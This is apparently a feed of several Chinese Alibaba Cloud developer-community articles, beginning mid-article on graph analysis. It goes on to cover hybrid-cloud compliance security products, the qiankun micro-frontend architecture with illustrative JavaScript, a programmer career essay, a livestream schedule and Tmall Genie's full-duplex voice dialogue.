    • 扩散分析:也叫渐进分析,关系发现,关系探查。旨在通过对目标节点进行1度2度查询发现更多信息。同时扩散分析也往往与节点折叠、节点过滤、节点显隐等分析技术想结合,减少图中干扰信息。
    • 算法分析:旨通过前后端算法能力帮助用户迅速定位到分析目标,常用算法分析手段如关键路径分析、最短路、模式匹配、中心度等。
    • 分组分析:也叫Cluster Analysis、团伙导航、Node Combos。旨在通过一定的分组策略把具有相同特征的点/边进行聚合。主要有节点分组、边分组(也叫边绑定)两种类型。
    • 地理空间分析:地理空间分析是一种比较常见的分析方法,诸如地铁图线路图,人口迁移图等都属于这个范畴。
    • 时序分析:是以时间序列为基础去了解数据在一定时间内的趋势、进行数据过滤、查看某特定时间点中数据信息,甚至预测未来趋势的分析技术。目前广泛用在安全风控,流量分析,金融分析领域,也是下一阶段Graphin重点关注的能力。


    辅助分析

    此外Graphin还通过React 组件以及API的方式提供非常丰富的辅助分析能力,帮助用户更好的分析能力。这些辅助分析能力包含:

    • 交互展示:工具栏,Tooltip,右键菜单
    • 布局展示:MiniMap,鱼眼,统计函数以及统计面板
    • 筛选展示:图例,属性筛选等

    image.png

    后分析

    另外一个我们最近关注的图分析能力,是图的后分析能力,即如何增强用户分析后的结果可读性。这里的后分析分为两种:

    • 静态后分析:把用户分析后的结果以截图,PDF, Excel的方式进行保存,已提供给决策者参考。这种场景下我们可以通过图例,魔法棒,便签的呈现元素增强图的呈现效果。
    • 动态后分析:把用户分析的结果以外链的方式发布为独立页面,该分析结果具有一定的交互能力。用户可以通过点击,高亮,缩放等交互方式从分析结果中获得更多的信息。

    image.png

    Hardware Store Market Basket Analysis

    展望

    image.png

    FY21财年,Graphin规划仍然围绕业务发展,通过共建沉淀业务,通过业务打磨技术,以期完善能力,辐射更多产品。

    参考资料

    1. Graph Analysis and Visualization: Discovering Business Opportunity in Linked Data https://www.wiley.com/en-us/Graph+Analysis+and+Visualization%3A+Discovering+Business+Opportunity+in+Linked+Data-p-9781118845844
    2. Wikipedia contributors. (2020, March 9). Graph (discrete mathematics). In _Wikipedia, The Free Encyclopedia_. Retrieved 09:57, April 7, 2020, from https://en.wikipedia.org/w/index.php?title=Graph_(discrete_mathematics)&oldid=944699319&oldid=944699319)
    3. Wikipedia contributors. (2020, March 23). Six degrees of separation. In _Wikipedia, The Free Encyclopedia_. Retrieved 12:14, April 7, 2020, from https://en.wikipedia.org/w/index.php?title=Six_degrees_of_separation&oldid=946988790
    4. Graphs Beyond the Hairball https://eagereyes.org/techniques/graphs-hairball
    5. 结合多人输入的智能图布局算法 http://vis.pku.edu.cn/graphvis/zh-cn/igl_infovis12.html
    ]]>
    混合云等保就缺一个防火墙-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    人总是在一个不适当的时间被推上一个不适当的位置去做一件正确的事情。
    ——丘吉尔

    前两天客户告诉我:他们把阿里云WAF用在了本地部署的网站上,挺好!解决了他们网站裸跑的问题。

    进一步,他问我还有哪些阿里云安全产品支持本地环境,我稍微理了一下,结果吓了一跳,竟然发现:

    阿里云等保安全产品几乎全线支持『非』阿里云环境部署。

    1.png

    (上图来自阿里云等级保护解决方案页面)

    不相信?让我们一个个看:

    • 阿里云WAF、阿里云WAF支持CNAME方式接入,WEB系统不管在不在啊里云上都可以通过修改DNS解析的方式接入到阿里云WAF。
    • 阿里云安全中心、阿里云安全中心就是安全厂商经常念叨的态势感知,而且过去的云安全中心的前身之一就叫态势感知,态势感知和安骑士合并为云安全中心。通过将阿里云安全中心的agent部署到线下IDC或者其他云服务上即可实现接入。
    • 阿里云堡垒机、阿里云堡垒机其实就是一个RDP/SSH的协议代理,在代理这些管理流量的同时实现操作审计,因此只要网络可达,再结合一些网络安全策略禁止所有非阿里云堡垒机对服务器管理端口的访问即可接入阿里云堡垒机。
    • 阿里云数据库审计、数据库审计本身是一个旁路设备,通过网络抓包的方式收集数据库和应用服务器之间操作过程来实现审计功能,通过将阿里云数据库审计的agent部署在线下IDC或者其他云服务器上即可接入,数据库审计可以通过修改发送数据地址的方式支持公网接入,当然,这种部署最好能够在有VPN/专线的保护下实施,
    • 阿里云DDOS高防IP、阿里云高防IP和阿里云WAF一样都支持CNAME方式接入,修改DNS解析即可实现非阿里云环境的接入。
    • SSL证书、证书服务本身就不对部署环境有任何限制,云上,云下皆可部署。
    • 漏洞扫描、只要通过修改DNS记录对扫描的主域名添加验证信息,无论网站是否部署在阿里云都可以用阿里云漏洞扫描进行漏洞发现。
    • 安全管家、安全管家是阿里云提供的安全技术专家服务,包括应急版、护航版、企业版。
    • DBS数据库备份、备份系统虽然不属于安全产品,但在等级保护中备份是一项非常重要的检查项目,阿里云DBS支持对非阿里云数据库服务器的备份,并且支持部署备份网关,从而避免将数据库服务器直接暴露在公网上,利用数据库网关还可以将备份到云端的数据库备份自动下载到本地保存

    在阿里云等级保护相关服务中只有一个云防火墙不支持『非』阿里云环境。

    混合云等保,就缺一个防火墙。

    ]]>
    生产可用:是时候来一个微前端架构了!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 微前端的场景域

    在选择一个微前端方案之前,常常需要思考这样一个问题,我们为什么需要微前端。通常对微前端的诉求有两个方面,一是工程上的价值,二是产品上的价值。

    对于工程上的价值,可以从一个三年陈的项目来看,如下所示, commit 的记录显示,第一次提交是 2016 年 8 月。

    image.png

    image.png

    依赖树 dependencies:

    image.png

    打包体积:

    image.png

    虽然这个三年陈的项目看上去版本比较低,但仍然是相对主流的全家桶方案。这样一个乐观的项目,在真实的场景中经过三年的时间,也不实用了。因为开发的时间比较长,并且人员流动也比较大,会导致一些祖传的代码出现,其次,在技术上不能及时的升级,导致开发体验变得很差,例如打包的时间就超过三分钟。也有可能在不经意间依赖一些不兼容的框架,导致项目无法升级。种种原因,最后很有可能变成一个遗产项目。

    对于产品体验上的问题,例如下图所示,要完成一个跳多个控制台任务,在过程中发现每个控制台视觉不统一、流程出现断点以及重复加载或认证的问题导致整个产品的体验较差。

    微前端的定义

    Techniques, strategies and recipes for building a modern web app with multiple teams using different JavaScript frameworks.
    —— Micro Frontends。

    以上是 Micro Frontends 网站对微前端的定义。意思是所谓微前端就是一种多个团队之间可以使用不同技术构建一个现代化 web 的技术手段以及方法策略。其中的关键字是多团队、采用不同的技术栈以及现代化的 web。微前端的思路继承自微服务的思想。

    image.png

    微前端的架构图

    如图,其中上层为统一共享的拼接层,主要做一些基础信息的加载,和对来自不同团队不同技术栈的客户端在运行时动态组成一个完整的 SPA 应用,以及生命周期的调度和事件的管理。总之,微前端是将微服务概念做了一个很好的延伸和实现。

    在具体实践中,衡量一个微前端方案是否是可利用的,需要满足以下几个条件:

    • 技术栈无关性,不仅指子应用之间使用多个不同的框架,也指在使用同一个框架时,有可能在一个长的时间跨度下,由于框架的不兼容的升级,导致应用被锁死的情况。
    • 开发、发布及部署独立,要求子应用和主应用做到工程上的解耦和独立。
    • 应用隔离的能力,是指需要考虑如何不干扰到原来子应用的开发模式和部署模式的情况下,做好运行时的样式隔离、JS 隔离以及异常隔离等。

    以上几点是基于工程价值方面考虑的。此外,也需要动态组合的能力,是基于产品价值方面考虑的。

    落地的关键问题

    微前端架构中的技术选择

    image.png

    按架构类型区分,常规 web 应用的架构类型分为两种,一种是 MPA,另一种是 SPA。如上图所示为 2017 年各云产品控制台架构调研,除了 google cloud 之外,大部分的云厂商都使用 MPA 架构。MPA 的优点在于部署简单,具备独立开发和独立部署的特性。但是,它的缺点是完成一个任务要跳到多个控制台,并且每个控制台又是重复刷新的。而 SPA 能极大保证多个任务之间串联的流畅性,但问题是通常一个 SPA 是一个技术栈的应用,很难共存多个技术栈方案的选型。SPA 和 MPA 都是微前端方案的基础选型,但是也都存在各自的问题。

    image.png

    单实例,一个运行时只有一个 APP Actived

    image.png

    多实例,一个运行同时有多个 APP Actived

    按运行时特性区分,微前端包含两个类别,一类是单实例,另一类是多实例。单实例场景如上图中左侧,通常是一个页面级别的组合,例如一个运行时只有一个 App 被激活。多实例场景如上图右侧,像一个组件或者是容器级别的应用,运行时可以做到多个应用被同时激活。这两种模式都有自己适应的场景和优势。微前端架构的核心诉求是实现能支持自由组合的微前端架构,将其他的 SPA 应用以及其他组件级别的应用自由的组合到平台中。那么,如何选择 SPA 和 MPA 以及单实例和多实例是一个问题,我们是否能探索出一种方案,将 SPA 和 MPA 工程上的特点结合起来,同时兼顾多实例和单实例运行时的场景来实现。

    技术细节上的决策

    为了实现上述的方案,在技术细节上的决策需要注意以下问题:

    • 如何做到子应用之间的技术无关。
    • 如何设计路由和应用导入。
    • 如何做到应用隔离。
    • 基础应用之间资源的处理以及跨应用间通信的选择。

    对于如何做到子应用之间的技术无关问题,我们是通过协议来解决的。如下代码所示的方式,就可以完成子应用的导入。如果子应用接入时做了一些框架上的耦合或者依赖一个具体实现库的机制,就一定会存在与实现库版本耦合的可能,不利于整个微前端生态的统一和融合。

    export async function bootstrap() {
      console.log('react app bootstraped') ;
    }
    
    export async function mount(props) {
      console.log(props) ;
      ReactDOM.render(<App/>, document.getElementById('react15Root'));
    }
    
    export async function unmount() {
      ReactDOM.unmountComponentAtNode(document.getElementById('react15Root') ) ;
    }

    如下所示是一个与具体框架实现相耦合的例子(反例):

    //主应用
    import React from 'react' ;
    import ReactDOM from 'react-dom';
    import MicroFrontend from 'micro-frontend';
    
    ReactDOM.render(<MicroFrontend  base="/app1" entry="//localhost/a.js">);
    
    //子应用
    window.microFrontends = {
      app:{...} ,
      reduxStore:{...} ,
      globals:(...) ,
    }

    对于路由的问题,如下图所示。这样一条访问链路后,刷新当前 URL 通常情况下会发生什么?

    image.png

    正常访问一个站点,经过一番操作之后,进入到站点的列表页,路由会变大很复杂,但如果是一个微前端用户,刷新一下页面会出现 404 的情况。解决思路是将 404 路由 fallback 到一个异步注册的子应用路由机制上。

    对于应用导入方式的选择,比较常见的方案是 Config Entry。通过在主应用中注册子应用依赖哪些 JS。这种方案一目了然,但是最大的问题是 ConfigEntry 的方式很难描述出一个子应用真实的应用数据信息。真实的子应用会有一些 title 信息,依赖容器 ID 节点信息,渲染时会依赖节点做渲染,如果只配 JS 和 CSS,那么很多信息是会丢失的,有可能会导致间接上的依赖。

    <html>
      <head>
      <title>sub app</title>
        <link rel="stylesheet" href="//localhost/app.css">
    </head>
    <body>
      <main id="root"></main>
       <script src="/media/20200413110925BBZ. js">
    </body>
    </html>
    
    <script>
       import React from 'react'
       import ReactDOM from 'react-dom'
    
       ReactDOM.render(<App/>, document.getElementById('root') )
    </script>

    另外一种方案是 HTML Entry,直接配 html,因为 html 本身就是一个完整的应用的 manifest,包含依赖的信息。HTML Entry 的优点是接入应用的信息可以得到完整的保留,接入应用地址只需配一次,子应用的原始开发模式得到完整保留,因为子应用接入只需要告知主应用 html 在哪,包括在不接入主应用时独立的打开。它的缺点是将解析的消耗留给了运行时。而 Config Entry 相较于 HTML Entry 减少了运行时的解析消耗。Config Entry 的缺点是主应用需配置完整的子应用信息,包含初始 DOM 信息、js/css 资源地址等。

    registerMicroApps([
        {
            name: 'react app'
            //   index.html 本身就是一个完整的应用的 manifest
           entry: '//localhost: 8080/index.html',
           render,
           activeRule: '/react'
         }
    ]) ;

    对于样式隔离问题,例如 BEM,每个子应用在写样式之前要加一些前缀,做一些隔离,但是这个做法并不推荐。相对而言,CSS Module 更简单高效,也更智能化,是比较推荐的方式,但是也存在着问题。而 Web Components 看上去很不错,但在实践过程中也会发生一些问题。

    例如在 Web Components 渲染的流程中出现了问题,如下图所示。

    image.png

    在 antd 中提供了全局的 API,可以提前设置好所有的弹框的 container,但是也不是每个组件库都能像 antd 一样完成度那么高。

    image.png

    蚂蚁所采用的解决方案是做动态的加载和卸载样式表,如下图所示,这种方案是很有效的。

    image.png

    对于 JS 隔离,蚂蚁提出了 JS Sandbox 机制,如上图所示,其中 bootstrap、mount及 unmount 生命周期是子应用需要暴露出来的,因为子应用的整个生命周期都是被主应用所管理的,所以可以在主应用中给子应用插入各种拦截的机制,也可以捕获到子应用在加载期间做了哪些全局上的修改。在 unmount 时,可以将全局上的副作用全部手动移除掉,同时也可以实现在重新进来时,将上次忘记卸载的副作用重建一遍,因为需要保证下次进来时能完整回复到与上次一致的上下文。

    image.png

    对于资源加载问题,在微前端方案中存在一个典型的问题,如果子应用比较多,就会存在之间重复依赖的场景。解决方案是在主应用中主动的依赖基础框架,然后子应用保守的将基础的依赖处理掉,但是,这个机制里存在一个问题,如果子应用中既有 react 15 又有 react 16,这时主应用该如何做?蚂蚁的方案是在主应用中维护一个语义化版本的映射表,在运行时分析当前的子应用,最后可以决定真实运行时真正的消费到哪一个基础框架的版本,可以实现真正运行时的依赖系统,也能解决子应用多版本共存时依赖去从的问题,能确保最大程度的依赖复用。

    基于 props 以单向数据流的方式传递给子应用:

    export function mount(props) {
        ReactDOM.render(
            <App {...props}/>,
             container
        )
    }

    基于浏览器原生事件做通信:

    //主应用
    window.dispathEvent(
        new CustomEvent('master:collapse-menu'),
        {detail: {collapsed:true} }
    )
    
    //子应用
    window.addEventLister(
        'master:collapse-menu',
        event => console.log(event.detail.collapsed)
    )

    对于应用之间数据共享及通信的问题,蚂蚁提出了两个原则,第一个原则是基于 props 以单向数据流的方式传递给子应用。第二个原则是基于浏览器原生事件做跨业务之间的通信。

    在真实的生产实践中,蚂蚁总结出了几点经验及建议:兄弟节点间通信以主应用作为消息总线,不建议自己封装的 Pub/Sub 机制,也不推荐直接基于某一状态管理库做数据通信。

    蚂蚁在实践中做的性能优化,包括异步样式导致闪烁问题的解决以及预加载问题的解决。

    异步样式导致的闪烁问题:

    image.png

    预加载:

    export function prefetch(entry: Entry, fetch?: Fetch) {
        const requestIdleCallback = window.requestIdleCallback || noop;
    
        requestIdleCallback(async () => {
            const { getExternalScripts, getExternalStyleSheets }
                = await importEntry(entry, { fetch } );
            requestIdleCallback(getExternalStyleSheets) ;
            requestIdleCallback(getExternalScripts) ;
        }) ;
    }

    如图所示为微前端方案涉及到的技术点,本文分享了图中三分之二的内容。

    image.png

    在蚂蚁金服做了大量关于微前端方案之后,总结了衡量一个微前端方案是否友好的两个标准,第一个标准是技术无关,也是微前端最核心的特性,不论是子应用还是主应用都应该做到框架不感知。第二个标准是接入友好,子应用接入应该像接入一个 iframe 一样轻松自然。

    蚂蚁的微前端落地的实践成果

    蚂蚁内部基于微前端基础架构提出了一体化上云解决方案,称为 OneX,是一个基础的平台,它可以将各种流程和工具串联,其价值体现在品牌、产品和技术方面。品牌价值指的是统一的界面框架、UI、交互形成了蚂蚁金服科技品牌心智。

    image.png

    OneNav + OneConsole + TechUI + OneAPI + Bigfish

    下图所示为蚂蚁的一个真实应用的例子,除了中间接入的产品是自己控制之外,其他内容都是由平台提供,这样,如论是一个三年陈项目还是新做的项目,在基本的视觉上可以做到统一。

    image.png

    产品价值指的是产品具有自由组合能力。之前的产品是多个产品、多个站点的控制台,而现在只需要一个控制台,将多个产品自由的组合,这样,可以在商业上有更多的相应空间以及更多自由的搭配。基于这样的系统也可以做一些全局性的事情,例如埋点、用户的转化跟踪业务。

    image.png

    技术价值指的是研发上的提效。经过微前端的改造后,蚂蚁可以将大型的系统解耦成可以独立开发的并行的小型的系统,这些小型系统可以交给别的团队或者使用可视化的系统去实现,最后在运行时只需要将他们集成起来。

    在技术价值方面也可以实现交付上的提效,只需要在某一个环境的任意一个环境中做平台上的接入,应用就可以做到在多余的环境中不改代码,直接运行。

    下图为阿里云刚上市的一个产品例子,其中包括 15 个来自不同团队的应用进行维护,它的特点是并不是单独为阿里云而设计的,之前在蚂蚁也有运行,只不过在阿里云中做了动态的组合。OneTour 微应用组件主要解决的是在多个产品控制台之间自由切换导致流程割裂的问题。

    image.png

    蚂蚁微前端的落地成果包括:有 70+ 线上应用接入(阿里云 + 蚂蚁云 + 专有云),最复杂一个控制台同时集成 15 个应用,并且有 4+ 不同技术栈,以及开发到发布上线全链路的自动化支持,一云入驻多云运行。

    基于以上技术上的成果,蚂蚁沉淀了自己的微前端方案并开源。

    基于以上技术上的成果,蚂蚁沉淀了自己的微前端方案并开源。qiankun 是框架无关的微前端内核,umi-plugin-qiankun 是基于 umi 应用的 qiankun 插件,方便 umi 应用通过修改配置的方式变身成为一个微前端系统。基于上述实践的检验和内部落地结果来看,在大规模中后台应用场景下,微前端架构是一个值得尝试的方案。

    qiankun:https://github.com/umijs/qiankun/

    umi-plugin-qiankun:https://github.com/umijs/umi-plugin-qiankun

    ]]>
    程序员修炼之路:你该知道的 7 个必经阶段-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 当我做完设计相关的培训分享过后,有同学来问我:如何才能快速提升自己的设计能力?我觉得这个问题非常有代表性,代表了一大波程序猿在艰辛的修炼路上的心声。现将我对这个问题的思考、心得体会分享出来,供大家参考,也欢迎提出不同的意见与看法,共同探讨。

    一 编码历练

    代码行经验是个非常重要的东西,当你还没有 1 万行代码经验的时候,你来问如何提升设计能力的问题,我只能告诉你不要太纠结,理论看看就好,老老实实写代码吧。

    据说,一个程序员平均每天码代码的速度是 200~300 行,你可能会说,我一天怎么也要写上 1000 行吧,别忘了,当你码完代码后,你还需要测试、调试、优化、BUG Fix,这些时间你没法一直码代码的。

    编码规范就不多说了,如果你的代码还是杂乱无章的状态,就先别谈什么设计与架构了,我会觉得有点扯淡。

    另外,作为代码洁癖患者,推荐大家不要把代码写完后,批量格式化处理,或者手工再去整理代码,而是每敲一个字符上去,它都是符合规范的。习惯真的很重要,有时在招聘面试的时候,我真想添加一个环节,现场编写程序完成一个简单但容易出错的任务。

    二 理论学习

    简单说就是看书,看博客,你所能得到的资源,质量高的就行。例如:《重构 - 改善既有代码的设计》、《敏捷软件开发:原则、模式与实践》、《UML 和模式应用》、"面向对象设计原则"(五大原则)、《设计模式》等。

    《设计模式》这本书是很古老的一本书了,只有短短 200 页,但是,这是最难看懂的一本书,一个月都可能看不完(看小说的话,200 页 3 个小时也许就看完了吧),而且就算看完了,也不会全看懂,很可能看懂不超过 30%。看不懂没关系,看了就行,不用太纠结,这不能说明什么问题。

    另外,我想说一下,多线程技术是程序员必须掌握的,而且需要理解透彻,现在的高级技术例如 GCD,会掩盖你对多线程理解不足的问题,因为使用实在太简单了。别说你没写过多线程依然完成了复杂的项目,更别说你随手写出的多线程代码好像也没出什么问题啊,把你的代码给我,我写个 Demo 让它出错乃至崩溃,如果我做不到,恭喜你。

    三 实践

    现在,你已经具备了一定的编码经验,而且已经学习了足够的理论知识,接下来就是真正练手的时候了。好好反复思考你学习的这些理论知识,要如何运用到项目中去,身体力行的去实践,一定要把那些理论搞清楚,用于指导你的实践,收起从前的自信,首先否定自己以前的做法,保证每次做出的东西相比以前是有进步有改进的。

    四 重温理论

    你已经能看到自己的进步了,发现比以前做的更好了,但是总感觉还不够,好像有瓶颈似的,恭喜你,我已经能看到你未来的潜力了。

    重新拿起书本,重温一遍之前看的似懂非懂的东西,你会发现之前没弄懂的东西,现在豁然开朗了,不再是那种难于理解的晦涩感了。就算是以前你觉得已经弄懂的,也再看一遍,通常会有新的收获。

    五 再实践

    这个阶段,你已经掌握了较多的东西了,不但实践经验丰富,各种理论也能手到擒来了,但是你发现你的设计依然不够专业。而且你回过头去看你以前写的代码,你会惊讶:天啊,这是谁写的代码,怎么能这样干!然后。。。我就不多说了,你已经进入了自省的阶段,掌握了适合自己的学习方法,再要学习什么新东西,都不再是个事。

    六 总结

    先别太得意(不信?那你去做一堂讲座看看),你需要总结了,总结自己的学习方法,总结项目经验,总结设计理论知识。

    如果你能有自己独到的理解,而不是停留在只会使用成熟的设计模式什么的,能根据自己的经验教训总结一些设计原则出来,那自然是极好的。

    七 分享

      
    分享是最好的学习催化剂,当你要准备一场培训分享的时候,你会发现你先前以为已经理解的东西其实并没有真正理解透彻,因为你无法把它讲清楚,实际上就是研究不够,这时会迫使你去重新深入学习,融汇贯通,然后你才敢走上讲台。否则当别人提问的时候,你根本回答不上来。
      
    以上,便是我认为的程序员修炼道路的必经阶段。
     
    然后,我再说说其他对提升非常重要的几点:

    养成先设计,再编码的习惯
     
    几乎所有的程序员,一开始都不太愿意写文档,也不太愿意去精心设计,拿到需求总是忍不住那双躁动的手,总觉得敲在键盘上,一行一行的代码飙出来,才有成就感,才是正确的工作姿势。

    没讨论清楚不要编码,不然你一定会返工。

    设计重于编码,接口重于实现

    制定接口的过程,本身就是设计过程,接口一定要反复推敲,尽量做减法而不是加法,在能满足需求的情况下越简单越好。

    另外,不要一个人冥思苦想,先简单做一个雏形出来,然后拿去找使用方沟通,直到对方满意为止。

    不要完全根据使用需求去设计接口,参考 MVVM,ViewModel 就是根据 View 的需要而对 Model 进行的再封装,不能将这些接口直接设计到 Model 中。

    不盲从设计模式

    设计模式只是一种解决问题的套路方法,你也可以有自己的方法,当然设计模式如果用好了,会让你的设计显得专业与优雅,毕竟前辈们的心血结晶。但是滥用的话,也会导致更严重的问题,甚至可能成为灾难。个人觉得面向对象设计原则更加重要,有些原则是必须遵守的(如单向依赖、SRP 等),而设计模式本身都是遵守这些原则的,有些模式就是为了遵循某原则而设计出来的。

    抽象不是万能的,在适当的地方使用,需要仔细推敲。当有更好的方案不用抽象就能解决问题时,尽量避免抽象,笔者见过太多的抽象过火过度设计的案例了,增加了太多维护成本,还不如按照最自然的方式去写。

    空杯心态,向身边的同学学习,站在巨人的肩上,站在别人的肩上

    有人提意见,先收下它(无论接受与否)。

    很多程序猿,也都有一个毛病,就是觉得自己技术牛的不行,不愿意接受别人的意见,尤其是否定意见(文人相轻)。

    而无论是理论的学习,还是编码实践,向身边的同学学习将是对自己影响最大的(三人行,必有我师),比刻意参加相关培训要有用的多。

    我自己就经常在跟团队同学的讨论中获益,当百思不得解的时候,把问题抛出来讨论一下,通常都能得到一个最佳方案。

    另外,跟团队其他人讨论还有一个好处,就是当你的设计有妥协,有些不专业的时候,别人看到代码也不会产生质疑,因为他参与了讨论的,你不用花那么多时间去做解释。

    设计期间就一定要找他人讨论,我一直比较反对一个人把设计做完了,把文档写完了,然后才找大家开个评审会那种模式,虽然也有效果,但是效果真的达不到极致,大家没有参与到设计中来,通过一场会议的时间理解不一定有那么深,最关键的是,如果设计有些问题的时候,但也不是致命问题,难道还让打回重新设计么?

    等前期讨论足够后,大家都知道你的思路与方案,而且最后也有设计文档,当其他人来阅读你的代码的时候,根本无需你再指引,今后的工作交接都不是很需要了,何乐而不为呢?

    最后,我想在此呼吁一下,当你去修改维护别人的代码时,最好找模块负责人做深入的讨论沟通,让他明白你的需求以及你的方案,请他帮忙评估方案是否可行,是否会踩坑、埋坑等。这样我们的项目才不会出现坏味道蔓延,而如果你恰好是某模块负责人,请行使你的权力,拒绝有问题的不符合要求的代码提交入库。

    大家共勉。

    image.png

    ]]>
    【0413 - 0417 直播导视 | PPT 下载】-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 *本预告时间仅供参考,最终直播时间以直播间信息为准。
    *本文提供直播PPT下载,请在对应直播介绍处查看。

    本周直播重磅推荐:

    4月13日:

    企业复工期间,如何快速构建线上实时分析系统——0413期

    直播时间:04-13 16:00
    直播亮点:
    复工期间,以餐饮外卖行业为例进行实操Demo,讲述如何将RDS MySQL 大量业务数据快速实时同步到AnalyticDB for MySQL进行分析,最后通过QuickBI进行快速业务报表的可视化展示。
    分享嘉宾
    悦畅 高级产品经理
    陌停 产品专家

    *PPT下载待更新

    4月14日:

    云原生精彩故事:容器服务还能变成抗疫助学技术实践?容器安全该如何探索?

    直播时间:04-14 15:00
    直播亮点:
    云原生的企业数字化转型需要敏捷架构创新,全面云原生技术或将破局数字化进程中的困局。传统架构无法解决应用丰富及架构快速演进带来的部署及运维复杂性问题,云原生技术能基于云环境设计发挥云的优势。本期阿里云内外专家,跟您聊聊云原生那些事儿,业内首个全托管Istio兼容的服务网格产品ASM。疫情下容器安全的探索,如何在96小时完成业务部署。

    *PPT下载待更新

    基于容器服务的抗疫助学技术实践

    直播时间:04-14 18:00
    直播亮点:
    紧张刺激的96小时,基于阿里云优秀的平台能力,尤其是充分发挥容器的优异能力,充分发挥云原生的优势,克服各种困难,保证了业务最终顺利完成,上线后用户好评如潮。
    为抗击疫情贡献了自己的一份微薄之力。也为在云原生、微服务的探索之路上添加了重要的一笔。

    *PPT下载待更新

    阿里云托管网格服务入门与应用部署实践

    直播时间:04-14 18:00
    直播亮点:
    阿里云服务网格 ASM 就是这样的一个全托管式的服务网格平台,它兼容社区开源 Istio。本次分享为大家提供一个实际使用 ASM 的案例,帮助大家更好地理解服务网格的相关概念,以及如何简化服务治理,主要包括服务调用之间的流量路由与拆分管理、服务间通信的认证安全以及网格可观测性能力等。

    *PPT下载待更新

    云沃客的容器安全实践

    直播时间:04-14 18:00
    直播亮点:
    随着越来越多的企业开始上云,开始容器化,云安全问题已经成为企业防护的重中之重,本次分享将从容器逃逸为切入点,从攻击角度到防御角度来阐述我们在容器安全层面所进行的一些简单探索和实践。

    *PPT下载待更新

    基于阿里云原生构建迁移即服务

    直播时间:04-14 18:00
    直播亮点:
    本次分享将讲述云迁移产品如何由脚本演变为工具,再由工具演变为SaaS应用的故事。

    *PPT下载待更新

    4月15日:

    阿里云新品发布会第89期:Serverless工作流重磅发布

    直播时间:04-15 15:00
    直播亮点:
    介绍工作流适用的五种场景,通过控制台和本地开发工具展示如何Serverless工作流的用户体验。

    *PPT下载待更新

    智能推荐系列公开课——0-1激活推荐系统,解锁冷启动难题

    直播时间:04-15 15:00
    直播亮点:
    在信息过载、碎片化的时代,个性化推荐成为提升用户浏览/转化率的核心手段之一。而在实际应用中,怎样满足本行业的信息分发需求,精准匹配海量用户偏好,提高运营效率,仍是一个待解之题。
    此次,阿里巴巴搜索推荐产品团队带来系列公开课,聊聊怎样结合实际场景,嵌入智能推荐,搭建“千人千面”的分发体系,使产品价值最大化。

    *PPT下载待更新

    阿里的测试环境管理实践概述

    直播时间:04-15 16:00
    直播亮点:
    在软件开发的生命周期里,测试环境是所有环境当中部署最频繁、也是开发者在日常工作使用最频繁的一种运行环境。随着云原生技术的流行,越来越多企业选择使用云上的Kubernetes服务快速搭建和管理测试环境资源,这使得原本可以直连的测试服务需要通过Ingress或Gateway机制才能访问。同时在大型微服务系统中,由于开发者共用测试环境,经常出现频繁部署和版本相互覆盖造成的稳定性影响。一直以来,如何有效降低开发者本地调试成本、灵活分配测试环境,实现即避免开发者之间相互干扰又最大化资源利用率,是一项十分具有挑战性的任务。本次分享将介绍一种在阿里广泛使用的测试环境管理模式以及它的Kubernetes开源版本,希望对采用云原生技术栈的IT企业和开发者有所启发。

    *PPT下载待更新

    4月16日:

    RocketMQ Connect 平台的搭建与实践

    直播时间:04-16 16:00
    直播亮点:
    RocketMQ Connect 是基于 OpenMessaging Connect 标准构建的一种用于在 RocketMQ 和其他系统之间可扩展的、可靠的流式传输数据的工具,可以更快捷和简单地将大量数据集合移入和移出 RocketMQ 的连接器,并进行简单的数据处理。本次分享主要包含以下内容: 1、什么是 Connect 以及 OpenMessaging Connect 标准介绍 2、基于 RocketMQ 的调度引擎 RocketMQ Runtime 设计与实现。 3、如何快速构建一个 Connector。 4、RocketMQ Connect 生态的现状及未来。
    分享嘉宾
    王文锋,开源爱好者,Apache

    *PPT下载待更新
    ]]>
    天猫精灵如何和我们聊天?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 什么是全双工自然对话?

    如果孙悟空的金箍棒加入天猫精灵语音交互的支持,那么孙悟空在获得金箍棒后会怎样给他的猴儿们演示呢?

    image.png

    在一问一答方式中,孙悟空首先需要唤醒金箍棒,然后再发出大一些的指令,金箍棒在收到指令后会变粗变高并回复已经变大。如果孙悟空要想让金箍棒再大一些,需要再次唤醒金箍棒并发出指令。每次想让金箍棒大一些,孙悟空就要重复这个过程。

    在连续对话方式中,孙悟空也要先唤醒金箍棒,然后在发出大一些的指令,金箍棒也会在收到指令后会变粗变高并回复已经变大。如果孙悟空要想金箍棒再大一些,可以选择等待金箍棒的回复结束,然后直接说出大一些的指令。接下来每次想让金箍棒大一些,孙悟空只需要等待金箍棒回复结束,然后直接说出大一些的指令即可。

    在自然对话模式中,孙悟空先唤醒金箍棒,然后发出大一些的指令,金箍棒在收到指令后会直接变粗变高。接下来,如果孙悟空想金箍棒在大一些,直接说出大一些指令即可,不需要再次唤醒,也不需要等待回复结束。

    天猫精灵有孙悟空演示金箍棒的场景吗?答案是肯定的,例如音量控制就非常相似。那么天猫精灵的全双工自然对话是怎么实现的呢?

    技术方案

    设备端:负责听和说。主要解决什么时候听,有没有听到语音,听到的语音有多长;什么时候说,以及说什么。

    语音识别:即 ASR,将用户的语音识别成文本,并提取声音的特征。

    语义理解:即 NLU,负责理解用户说了什么并转换成机器可读的信息。

    语音合成:即 TTS,负责将文本转换成语音。

    对话管理:即 DM,根据语义理解的结果和会话的上下文信息调用各种服务完成用户的请求。

    人机交互识别:根据 ASR 输出的声学特征判断收到语音是不是用户和音箱说的话。

    image.png

    设备端交互管理

    用户打开自然对话后,服务端在对用户进行应答的同时会下发自然对话收音指令到设备端。

    设备端收到自然对话收音指令后,进入自然对话状态并开始收音。

    在自然对话状态下,设备端检测到用户说话时开始发起自然对话交互请求;检测到用户说话结束时结束请求,并上报自然对话状态的持续时长和用户的说话时长到服务端。

    设备端收到服务端应答,但是应答中不包含自然对话收音指令时,如果当前处于自然对话状态则退出自然对话。

    自然对话收音指令中包含收音的持续时长,如果在这个时长内没有检测到声音也会退出自然对话。

    设备端播放管理

    在用户交互过程中,需要根据用户的意图决定被打断的播放动作是否需要继续。比如,用户在播放音乐时说“收藏这首歌”,那么在执行用户指令后需要继续恢复播放音乐;而用户在收听天气时问了算术,那么在执行用户的指令后不需要继续播放天气。

